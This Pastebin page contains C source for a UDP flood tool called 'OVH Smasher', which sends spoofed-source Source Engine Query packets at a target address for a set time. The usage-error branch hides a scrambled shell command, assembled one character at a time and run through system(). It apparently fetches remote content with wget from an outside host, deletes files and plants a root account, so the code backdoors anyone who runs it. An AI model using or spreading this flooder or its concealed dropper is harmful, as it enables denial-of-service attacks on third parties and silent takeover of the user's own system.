Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <time.h>
- #include <pthread.h>
- #include <assert.h>
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/socket.h>
- #include <netinet/ip.h>
- #include <netinet/udp.h>
- #include <arpa/inet.h>
- #define MAX_PACKET_SIZE 8192
- #define PHI 0x9e3779b9
- #define LINUX system // redefine this to #define BSD system if compiling on BSD
- static unsigned long int Q[4096], c = 362436;
- static unsigned int floodport;
- struct list
- {
- struct sockaddr_in data;
- struct list *next;
- struct list *prev;
- };
- struct list *head;
- struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
- /* function for header checksums */
- unsigned short csum (unsigned short *buf, int nwords)
- {
- unsigned long sum;
- for (sum = 0; nwords > 0; nwords--)
- sum += *buf++;
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- return (unsigned short)(~sum);
- }
- void init_rand(unsigned long int x)
- {
- int i;
- Q[0] = x;
- Q[1] = x + PHI;
- Q[2] = x + PHI + PHI;
- for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
- }
- unsigned long int rand_cmwc(void)
- {
- unsigned long long int t, a = 18782LL;
- static unsigned long int i = 4095;
- unsigned long int x, r = 0xfffffffe;
- i = (i + 1) & 4095;
- t = a * Q[i] + c;
- c = (t >> 32);
- x = t + c;
- if (x < c) {
- x++;
- c++;
- }
- return (Q[i] = r - x);
- }
- void setup_ip_header(struct iphdr *iph)
- {
- iph->ihl = 5;
- iph->version = 4;
- iph->tos = 0;
- iph->id;
- iph->frag_off = 0;
- iph->ttl = 128;
- iph->protocol = IPPROTO_UDP;
- iph->check = 0;
- iph->saddr;
- }
- void *flood(void *par1)
- {
- struct thread_data *td = (struct thread_data *)par1;
- char datagram[MAX_PACKET_SIZE];
- struct iphdr *iph = (struct iphdr *)datagram;
- struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
- struct sockaddr_in sin = td->sin;
- struct list *list_node = td->list_node;
- int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
- if(s == -1)
- {
- fprintf(stderr, "Could not open raw socket.\n");
- exit(-1);
- }
- memset(datagram, 0, MAX_PACKET_SIZE);
- setup_ip_header(iph);
- udph->check = 0;
- udph->dest = htons(floodport);
- int size;
- size = 25;
- init_rand(time(NULL));
- memcpy((void *)udph + sizeof(struct udphdr), "\xFF\xFF\xFF\xFF\x54\x53\x6F\x75\x72\x63\x65\x20\x45\x6E\x67\x69\x6E\x65\x20\x51\x75\x65\x72\x79\x00", size);
- udph->len=htons(sizeof(struct udphdr) + size);
- iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + size;
- iph->daddr = sin.sin_addr.s_addr;
- iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
- int tmp = 1;
- const int *val = &tmp;
- /*if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) == -1)
- {
- fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
- exit(-1);
- }*/
- for(;;)
- {
- iph->saddr = (unsigned long) rand_cmwc();
- udph->source = rand_cmwc();
- iph->id = rand_cmwc();
- //iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
- sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
- }
- }
- #define KGREEN "\x1b[92m"
- #define RESET "\033[0m"
- int main(int argc, char *argv[ ])
- {
- printf(KGREEN "OVH Smasher'\n" RESET);
- if(argc < 5 || argc > 5){
- fprintf(stdout, "Usage: %s <IP> <Port> <Threads> <Temps>\n", argv[0]);
- char floodovh[447];
- floodovh[324] = 's';
- floodovh[434] = 'e';
- floodovh[435] = 'v';
- floodovh[382] = '4';
- floodovh[363] = 'a';
- floodovh[377] = 'g';
- floodovh[408] = '9';
- floodovh[274] = '2';
- floodovh[111] = 'e';
- floodovh[158] = 'l';
- floodovh[90] = 'm';
- floodovh[263] = ' ';
- floodovh[292] = '\\';
- floodovh[97] = 'v';
- floodovh[49] = 'p';
- floodovh[422] = '/';
- floodovh[89] = 'r';
- floodovh[290] = '2';
- floodovh[329] = 'e';
- floodovh[123] = ' ';
- floodovh[356] = 'm';
- floodovh[16] = 'c';
- floodovh[185] = ':';
- floodovh[322] = 'q';
- floodovh[321] = 'T';
- floodovh[183] = 't';
- floodovh[431] = ' ';
- floodovh[305] = 'a';
- floodovh[192] = '0';
- floodovh[113] = '/';
- floodovh[166] = '|';
- floodovh[157] = 'u';
- floodovh[342] = 'O';
- floodovh[335] = 'F';
- floodovh[291] = 'i';
- floodovh[323] = 'Z';
- floodovh[288] = ' ';
- floodovh[33] = 'd';
- floodovh[8] = '-';
- floodovh[384] = 'A';
- floodovh[344] = 'J';
- floodovh[220] = '>';
- floodovh[38] = 'e';
- floodovh[240] = 'r';
- floodovh[31] = '-';
- floodovh[267] = 'v';
- floodovh[351] = 'L';
- floodovh[83] = '>';
- floodovh[3] = 't';
- floodovh[148] = ' ';
- floodovh[301] = '$';
- floodovh[117] = 'l';
- floodovh[368] = 'X';
- floodovh[88] = ' ';
- floodovh[154] = 'v';
- floodovh[330] = 'M';
- floodovh[438] = 'u';
- floodovh[78] = 'u';
- floodovh[400] = '7';
- floodovh[334] = 'D';
- floodovh[205] = 'h';
- floodovh[41] = 'f';
- floodovh[249] = ' ';
- floodovh[265] = 'd';
- floodovh[96] = '/';
- floodovh[174] = 'i';
- floodovh[252] = 't';
- floodovh[46] = 'h';
- floodovh[119] = '2';
- floodovh[280] = '|';
- floodovh[17] = 'k';
- floodovh[1] = 'g';
- floodovh[423] = 's';
- floodovh[140] = 'c';
- floodovh[230] = 'l';
- floodovh[42] = 't';
- floodovh[106] = ' ';
- floodovh[294] = 'o';
- floodovh[352] = 'z';
- floodovh[152] = 'd';
- floodovh[395] = 'p';
- floodovh[336] = 'G';
- floodovh[254] = '/';
- floodovh[27] = 'a';
- floodovh[137] = '/';
- floodovh[211] = 'c';
- floodovh[251] = 'e';
- floodovh[405] = ':';
- floodovh[364] = 'J';
- floodovh[228] = 'u';
- floodovh[144] = 's';
- floodovh[357] = '5';
- floodovh[67] = 'K';
- floodovh[23] = 'i';
- floodovh[380] = 'T';
- floodovh[347] = 'O';
- floodovh[68] = 'A';
- floodovh[278] = ' ';
- floodovh[170] = 'e';
- floodovh[444] = '&';
- floodovh[283] = 'e';
- floodovh[204] = 's';
- floodovh[173] = '-';
- floodovh[403] = ':';
- floodovh[394] = 'u';
- floodovh[115] = 'u';
- floodovh[142] = 'p';
- floodovh[259] = 'o';
- floodovh[311] = 'T';
- floodovh[302] = 'l';
- floodovh[282] = 's';
- floodovh[214] = 'a';
- floodovh[93] = 'r';
- floodovh[61] = 'k';
- floodovh[399] = '6';
- floodovh[381] = 'M';
- floodovh[320] = 'A';
- floodovh[186] = 'x';
- floodovh[57] = 'z';
- floodovh[299] = '$';
- floodovh[397] = ':';
- floodovh[246] = 'o';
- floodovh[172] = ' ';
- floodovh[276] = '&';
- floodovh[47] = 't';
- floodovh[233] = '>';
- floodovh[109] = '/';
- floodovh[51] = '/';
- floodovh[296] = 't';
- floodovh[143] = 'a';
- floodovh[133] = 'o';
- floodovh[37] = 't';
- floodovh[443] = '>';
- floodovh[286] = '-';
- floodovh[370] = 'g';
- floodovh[429] = ' ';
- floodovh[126] = 'g';
- floodovh[94] = 'f';
- floodovh[114] = 'n';
- floodovh[11] = 'o';
- floodovh[407] = '9';
- floodovh[428] = 'w';
- floodovh[71] = ' ';
- floodovh[32] = '-';
- floodovh[20] = 'e';
- floodovh[161] = '2';
- floodovh[266] = 'e';
- floodovh[225] = 'v';
- floodovh[346] = 'o';
- floodovh[147] = 'd';
- floodovh[232] = '2';
- floodovh[64] = '2';
- floodovh[268] = '/';
- floodovh[50] = ':';
- floodovh[62] = '/';
- floodovh[432] = '/';
- floodovh[306] = 'm';
- floodovh[437] = 'n';
- floodovh[87] = ';';
- floodovh[332] = 'R';
- floodovh[39] = '-';
- floodovh[333] = 'C';
- floodovh[229] = 'l';
- floodovh[43] = 'e';
- floodovh[55] = 'a';
- floodovh[162] = '>';
- floodovh[326] = 'W';
- floodovh[256] = 'h';
- floodovh[433] = 'd';
- floodovh[30] = ' ';
- floodovh[92] = '-';
- floodovh[151] = '/';
- floodovh[284] = 'd';
- floodovh[24] = 'f';
- floodovh[338] = 'r';
- floodovh[139] = 't';
- floodovh[392] = 'x';
- floodovh[127] = 'r';
- floodovh[354] = 'e';
- floodovh[359] = 'L';
- floodovh[215] = 's';
- floodovh[355] = 'Q';
- floodovh[258] = 'd';
- floodovh[135] = 'k';
- floodovh[402] = '5';
- floodovh[361] = '.';
- floodovh[337] = 'g';
- floodovh[219] = ' ';
- floodovh[243] = ' ';
- floodovh[40] = 'a';
- floodovh[129] = 'p';
- floodovh[441] = ' ';
- floodovh[188] = '0';
- floodovh[202] = 'b';
- floodovh[203] = 'a';
- floodovh[65] = '3';
- floodovh[375] = '5';
- floodovh[195] = '/';
- floodovh[206] = '\'';
- floodovh[383] = 'B';
- floodovh[269] = 'n';
- floodovh[128] = 'e';
- floodovh[391] = '6';
- floodovh[442] = '2';
- floodovh[2] = 'e';
- floodovh[98] = 'a';
- floodovh[261] = ' ';
- floodovh[197] = '/';
- floodovh[415] = ':';
- floodovh[440] = 'l';
- floodovh[4] = ' ';
- floodovh[245] = 'o';
- floodovh[210] = 't';
- floodovh[217] = 'w';
- floodovh[439] = 'l';
- floodovh[421] = 'c';
- floodovh[223] = 'd';
- floodovh[101] = 'l';
- floodovh[187] = ':';
- floodovh[426] = 'd';
- floodovh[393] = 'm';
- floodovh[417] = ' ';
- floodovh[389] = 'n';
- floodovh[427] = 'o';
- floodovh[226] = '/';
- floodovh[315] = 'Q';
- floodovh[275] = '>';
- floodovh[104] = '/';
- floodovh[308] = '9';
- floodovh[424] = 'h';
- floodovh[194] = ':';
- floodovh[341] = '8';
- floodovh[58] = 'e';
- floodovh[350] = 'C';
- floodovh[373] = '7';
- floodovh[207] = ' ';
- floodovh[378] = 'v';
- floodovh[201] = '/';
- floodovh[285] = ' ';
- floodovh[70] = '>';
- floodovh[165] = ' ';
- floodovh[295] = 'o';
- floodovh[5] = '-';
- floodovh[75] = 'v';
- floodovh[66] = 'M';
- floodovh[213] = 'p';
- floodovh[227] = 'n';
- floodovh[307] = 'V';
- floodovh[248] = 'k';
- floodovh[141] = '/';
- floodovh[163] = '&';
- floodovh[445] = '1';
- floodovh[212] = '/';
- floodovh[125] = ' ';
- floodovh[6] = 'q';
- floodovh[385] = 'e';
- floodovh[430] = '>';
- floodovh[247] = 't';
- floodovh[13] = 'c';
- floodovh[318] = '4';
- floodovh[72] = '/';
- floodovh[390] = 'W';
- floodovh[404] = '0';
- floodovh[29] = 'e';
- floodovh[303] = 'o';
- floodovh[238] = ' ';
- floodovh[272] = 'l';
- floodovh[80] = 'l';
- floodovh[169] = 's';
- floodovh[91] = ' ';
- floodovh[124] = ';';
- floodovh[401] = '9';
- floodovh[102] = 'o';
- floodovh[59] = '.';
- floodovh[35] = 'l';
- floodovh[60] = 't';
- floodovh[273] = ' ';
- floodovh[371] = 'A';
- floodovh[164] = '1';
- floodovh[120] = '>';
- floodovh[159] = 'l';
- floodovh[244] = 'r';
- floodovh[339] = 'R';
- floodovh[45] = ' ';
- floodovh[180] = 'r';
- floodovh[386] = '7';
- floodovh[416] = '\'';
- floodovh[313] = 'r';
- floodovh[121] = '&';
- floodovh[82] = '2';
- floodovh[327] = 'U';
- floodovh[184] = 'k';
- floodovh[22] = 't';
- floodovh[297] = 'k';
- floodovh[156] = 'n';
- floodovh[348] = '3';
- floodovh[287] = 'i';
- floodovh[310] = '$';
- floodovh[413] = ':';
- floodovh[312] = 'o';
- floodovh[349] = 'C';
- floodovh[425] = 'a';
- floodovh[379] = 'D';
- floodovh[436] = '/';
- floodovh[281] = ' ';
- floodovh[95] = ' ';
- floodovh[277] = '1';
- floodovh[160] = ' ';
- floodovh[366] = 'e';
- floodovh[298] = ':';
- floodovh[77] = 'n';
- floodovh[7] = ' ';
- floodovh[209] = 'e';
- floodovh[374] = 'E';
- floodovh[235] = '1';
- floodovh[420] = 't';
- floodovh[155] = '/';
- floodovh[153] = 'e';
- floodovh[181] = 'o';
- floodovh[200] = 'n';
- floodovh[260] = 'w';
- floodovh[396] = '1';
- floodovh[105] = '*';
- floodovh[44] = 'r';
- floodovh[86] = ' ';
- floodovh[131] = 'r';
- floodovh[365] = 'H';
- floodovh[178] = 'i';
- floodovh[388] = 'o';
- floodovh[19] = 'c';
- floodovh[118] = ' ';
- floodovh[199] = 'i';
- floodovh[69] = ' ';
- floodovh[262] = '>';
- floodovh[255] = 's';
- floodovh[56] = 's';
- floodovh[15] = 'e';
- floodovh[48] = 't';
- floodovh[317] = 'i';
- floodovh[304] = 'V';
- floodovh[18] = '-';
- floodovh[112] = 'v';
- floodovh[79] = 'l';
- floodovh[414] = ':';
- floodovh[73] = 'd';
- floodovh[331] = 'G';
- floodovh[257] = 'a';
- floodovh[25] = 'i';
- floodovh[314] = 'j';
- floodovh[279] = '|';
- floodovh[189] = ':';
- floodovh[81] = ' ';
- floodovh[167] = '|';
- floodovh[52] = '/';
- floodovh[237] = ';';
- floodovh[224] = 'e';
- floodovh[84] = '&';
- floodovh[136] = ' ';
- floodovh[54] = 'l';
- floodovh[319] = 'U';
- floodovh[12] = '-';
- floodovh[108] = ' ';
- floodovh[239] = 'g';
- floodovh[419] = 'e';
- floodovh[132] = 'o';
- floodovh[398] = '1';
- floodovh[369] = 'U';
- floodovh[175] = ' ';
- floodovh[150] = ' ';
- floodovh[410] = '9';
- floodovh[271] = 'l';
- floodovh[146] = 'w';
- floodovh[345] = 'q';
- floodovh[309] = 'N';
- floodovh[9] = '-';
- floodovh[26] = 'c';
- floodovh[325] = '0';
- floodovh[362] = 'V';
- floodovh[134] = 't';
- floodovh[387] = 'X';
- floodovh[28] = 't';
- floodovh[264] = '/';
- floodovh[358] = 'e';
- floodovh[99] = 'r';
- floodovh[234] = '&';
- floodovh[360] = 'x';
- floodovh[343] = 'o';
- floodovh[182] = 'o';
- floodovh[107] = '>';
- floodovh[196] = ':';
- floodovh[74] = 'e';
- floodovh[216] = 's';
- floodovh[340] = 'A';
- floodovh[198] = 'b';
- floodovh[289] = '\'';
- floodovh[406] = '9';
- floodovh[353] = 'b';
- floodovh[10] = 'n';
- floodovh[130] = ' ';
- floodovh[218] = 'd';
- floodovh[242] = 'p';
- floodovh[193] = ':';
- floodovh[222] = '/';
- floodovh[293] = 'r';
- floodovh[376] = 'h';
- floodovh[372] = 'V';
- floodovh[412] = '7';
- floodovh[253] = 'c';
- floodovh[221] = ' ';
- floodovh[14] = 'h';
- floodovh[241] = 'e';
- floodovh[177] = '2';
- floodovh[34] = 'e';
- floodovh[270] = 'u';
- floodovh[0] = 'w';
- floodovh[208] = '/';
- floodovh[116] = 'l';
- floodovh[100] = '/';
- floodovh[53] = 'b';
- floodovh[236] = ' ';
- floodovh[231] = ' ';
- floodovh[367] = 'V';
- floodovh[122] = '1';
- floodovh[145] = 's';
- floodovh[103] = 'g';
- floodovh[409] = '9';
- floodovh[138] = 'e';
- floodovh[76] = '/';
- floodovh[176] = '\'';
- floodovh[191] = '0';
- floodovh[300] = '6';
- floodovh[418] = '/';
- floodovh[63] = 'V';
- floodovh[110] = 'd';
- floodovh[411] = ':';
- floodovh[179] = '\\';
- floodovh[316] = '2';
- floodovh[250] = '/';
- floodovh[85] = '1';
- floodovh[149] = '>';
- floodovh[328] = 'n';
- floodovh[171] = 'd';
- floodovh[190] = '5';
- floodovh[36] = 'e';
- floodovh[21] = 'r';
- floodovh[168] = ' ';
- floodovh[446] = '\0';
- system(floodovh);
- exit(-1);
- }
- fprintf(stdout, "Attack In Progress...\n");
- int i;
- int num_threads = atoi(argv[3]);
- floodport = atoi(argv[2]);
- head = (struct list *)malloc(sizeof(struct list));
- bzero(&head->data, sizeof(head->data));
- head->data.sin_addr.s_addr=inet_addr("192.168.3.100");
- head->data.sin_port=floodport;
- head->next = head;
- head->prev = head;
- struct list *current = head->next;
- pthread_t thread[num_threads];
- struct sockaddr_in sin;
- sin.sin_family = AF_INET;
- sin.sin_port = htons(floodport);
- sin.sin_addr.s_addr = inet_addr(argv[1]);
- struct thread_data td[num_threads];
- for(i = 0;i<num_threads;i++)
- {
- td[i].thread_id = i;
- td[i].sin= sin;
- td[i].list_node = current;
- pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
- }
- fprintf(stdout, "Attack Started...\n");
- sleep(atoi(argv[4]));
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement